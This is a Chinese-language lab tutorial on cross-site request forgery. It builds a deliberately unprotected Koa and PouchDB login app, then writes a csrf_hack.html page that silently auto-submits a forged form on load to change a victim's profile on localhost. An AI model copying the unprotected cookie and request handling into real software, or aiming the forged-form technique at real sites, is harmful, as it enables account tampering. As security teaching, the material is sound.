CSRF攻擊涉及用戶受害者,受信任的網站和惡意網站。當受害者與受信任的站點擁有一個活躍的會話同時,若是訪問惡意網站,惡意網站會注入一個HTTP請求到爲受信任的站點,從而破話用戶的信息。css
CSRF 攻擊老是涉及到三個角色:信賴的網站(Collabtive)、受害者的 session 或 cookie 以及一個惡意網站。受害者會同時訪問惡意網站與受信任的站點會話的時候。攻擊包括一系列步驟,以下:html
受害者用戶使用他/她的用戶名和密碼登陸到可信站點,從而建立一個新的會話。前端
受信任站點存儲受害者會話的 cookie 或 session 在受害者用戶的 web 瀏覽器端。node
受害者用戶在不退出信任網站時就去訪問惡意網站。jquery
惡意網站的網頁發送一個請求到受害者的受信任的站點用戶的瀏覽器。web
web 瀏覽器將自動鏈接會話 cookie,由於它是惡意的要求針對可信站點。ajax
受信任的站點若是受到 CSRF 攻擊,攻擊者的一些惡意的請求會被攻擊者發送給信任站點。數據庫
惡意網站能夠創建HTTP GET或POST請求到受信任的站點。一些HTML標籤,好比img iframe,框架,形式沒有限制的URL,能夠在他們的使用屬性中。apache
我使用的是koa框架做爲後端框架搭建的服務器,順便也算是學習一下koa框架,以前沒有學過,因爲是初學,搭建過程有點漫長npm
話很少說上代碼:
// app.js const Koa = require('koa'); const app = new Koa(); const server = require('koa-static'); const router = require('koa-router')(); const PouchDB = require('pouchdb'); const db = new PouchDB('http://localhost:5984/csrf'); app.use(async (ctx, next) => { console.log(`Process ${ctx.request.method} ${ctx.request.url}...`); await next(); }); // add url-route: router.post('/login', async (ctx, next) => { let postData = await parsePostData( ctx ); try { let response = await db.get(`id_${postData.name}`); let exp = new Date(); ctx.cookies.set( 'id', `id_${postData.name}`, { domain: 'localhost', // 寫cookie所在的域名 path: '/userInfo.html', // 寫cookie所在的路徑 maxAge: 24*60*60*1000, // cookie有效時長 expires: exp.setTime(exp.getTime() + 24*60*60*1000), // cookie失效時間 httpOnly: false, // 是否只用於http請求中獲取 overwrite: false // 是否容許重寫 } ) if(response.password === postData.password) ctx.redirect('userInfo.html') } catch (err) { ctx.body = "<p>登陸失敗,點擊<a href='index.html'>這裏</a>返回</p>"; } }); router.post('/regist', async (ctx, next) => { let postData = await parsePostData( ctx ); postData._id = `id_${postData.name}`; try { let response = await db.put(postData); ctx.body = "<p>註冊成功,點擊<a href='index.html'>這裏</a>返回至登陸界面</p>"; } catch (err) { ctx.body = "<p>用戶名已存在,點擊<a href='index.html'>這裏</a>返回</p>"; } }); router.post('/getUserInfo', async (ctx, next) => { let postData = await parsePostDataFromAjax( ctx ); let _id = {}; _id[postData.split(':')[0]] = postData.split(':')[1]; try { let doc = await db.get(_id.id); ctx.body = doc; } catch (err) { ctx.body = '發生錯誤'; } }); router.post('/change', async (ctx, next) => { let postData = await parsePostData( ctx ); console.log(postData); try { let doc = await db.get(postData.id); let response = await db.put({ _id: doc._id, _rev: doc._rev, name: postData.name, password: doc.password, sex: postData.sex, desc: postData.desc }); ctx.body = "<p>修改爲功,點擊<a href='index.html'>這裏</a>返回至登陸界面</p>"; } catch (err) { console.log(err); } }); app.use(router.routes()); app.use(server(__dirname + '/')); app.listen(3001); /** * * 對於POST請求的處理,koa2沒有封裝獲取參數的方法, * 須要經過解析上下文context中的原生node.js請求 * 對象req,將POST表單數據解析成query string(例 * 如:a=1&b=2&c=3),再將query string 解析成 * JSON格式(例如:{"a":"1", "b":"2", "c":"3"}) */ // 解析上下文裏node原生請求的POST參數,這個是處理表單form傳入參數 function parsePostData( ctx ) { return new Promise((resolve, reject) => { try { let postdata = ""; ctx.req.addListener('data', (data) => { postdata += data }) ctx.req.addListener("end",function(){ let parseData = parseQueryStr( postdata ) resolve( parseData ) }) } catch ( err ) { reject(err) } }) } // 解析上下文裏node原生請求的POST參數,這個是處理Ajax傳入參數 function parsePostDataFromAjax( ctx ) { return new Promise((resolve, reject) => { try { let postdata = ""; ctx.req.addListener('data', (data) => { postdata += data }) ctx.req.addListener("end",function(){ resolve( postdata ) }) } catch ( err ) { reject(err) } }) } // 將POST請求參數字符串解析成JSON function parseQueryStr( queryStr ) { let queryData = {} let queryStrList = queryStr.split('&'); for ( let [ index, queryStr ] of queryStrList.entries() ) { let itemList = queryStr.split('=') queryData[ itemList[0] ] = decodeURIComponent(itemList[1]) } return queryData }
就這一個文件,裏面包含了不少東西
koa-static
是koa的一箇中間件,用於獲取靜態文件的
koa-router
是koa的一箇中間件,用於路由系統
pouchDB
是我使用的couchDB
的配套使用的框架
我使用的是couchDB數據庫,具體怎麼使用看這裏,用法很簡單,他的界面是一個網頁
前端頁面總共有三個,分別是index.html
,regist.html
,userInfo.html
,其做用分別是登陸,註冊,展現/修改用戶信息,我這裏沒有使用css樣式。。。有點醜
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>登陸</title> </head> <body> <h2>登陸</h2> <form id="login" action="/login" method="post"> 姓名:<input tyep="text" name="name" /> 密碼:<input type="password" name="password" /> </form> <button id="button">登陸</button> <a href="./regist.html">註冊</a> </body> <script> var button = document.getElementById('button'); var form = document.getElementById('login'); button.onclick = function() { form.submit(); } </script> </html>
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>註冊</title> </head> <body> <h2>註冊</h2> <form id="regist" action="/regist" method="post"> 姓名:<input tyep="text" name="name" /><br> 密碼:<input type="password" name="password" /><br> 性別:<input type="radio" name="sex" value="male" />男<input type="radio" name="sex" value="female" />女<br> 描述:<textarea name="desc" id="" cols="30" rows="10"></textarea> </form> <button id="button">註冊</button> <a href="./index.html">登陸</a> </body> <script> var button = document.getElementById('button'); var form = document.getElementById('regist'); button.onclick = function() { form.submit(); } </script> </html>
這個頁面我使用了ajax,因此引入了jQuery
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <script src="./jquery-3.2.1.min.js"></script> <title>用戶信息</title> </head> <body> <div> <h1>用戶信息</h1> <div>姓名:<span id="name"></span></div> <div>性別:<span id="sex"></span></div> <div>描述:<span id="desc"></span></div> <h1>修改信息</h1> <form id="change" action="/change" method="post"> <input id="id" name="id" hidden value=""/> 姓名:<input tyep="text" name="name" /><br> 性別:<input type="radio" name="sex" value="male" />男<input type="radio" name="sex" value="female" />女<br> 描述:<textarea name="desc" id="" cols="30" rows="10"></textarea> </form> <button id="button">修改</button> </div> </body> <script> window.onload = function() { var id = document.cookie.split(";")[0].split("=").join(':'); $.ajax({ url: 'http://localhost:3001/getUserInfo', data: id, method: 'post', }).then(function(res) { var doc = res; $("#name").text(doc.name); $("#sex").text(doc.sex); $("#desc").text(doc.desc); $("#id").val(doc._id); }) var form = document.getElementById("change"); var button = document.getElementById("button"); button.onclick = function() { form.submit(); } } </script> </html>
最後放上package.json
{ "name": "csrf", "version": "1.0.0", "description": "", "main": "app.js", "scripts": { "start": "node app.js" }, "author": "", "license": "ISC", "devDependencies": { "koa": "^2.2.0", "koa-router": "^7.2.1", "koa-static": "^3.0.0", "pouchdb": "^6.2.0" } }
命令行執行
npm install npm start
終於到了關鍵,其實也就那麼一剎那,很快咱們的步驟以下:
首先我註冊了一個帳戶,而後我登陸這個帳戶查看信息,以及他的cookie參數,在圖中咱們發現cookie裏面有一個重要信息是ID,這個就是當前用戶的ID
接下來我經過瀏覽器開發者工具查看錶單數據以及請求的url以方便我構造假請求
編寫csrf_hack.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>攻擊頁面</title> </head> <body> <h1>這是一個攻擊頁面</h1> </body> <script> function hack() { var fields; fields += "<input type='hidden' name='id' value='id_1111'/>"; fields += "<input type='hidden' name='name' value='testName'>"; fields += "<input type='hidden' name='sex' value='testSex'>"; fields += "<input type='hidden' name='desc' value='testDesc'>"; var url = "http://localhost:3001/change"; var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } window.onload = function() { hack(); } </script> </html> ``` 4. 而後在啓動一個服務,將剛纔編寫的csrf_hack.html頁面放進去,而後訪問這個頁面(這裏我偷懶,直接把剛纔的端口修改了一個,而後另開一個控制檯啓動服務,而後訪問),接下來再次登陸剛纔的帳號,發現剛纔寫在csrf_hack.html頁面的信息更替上去了 注意事項 1. 若是要使用async,await這兩個node版本須要在7以上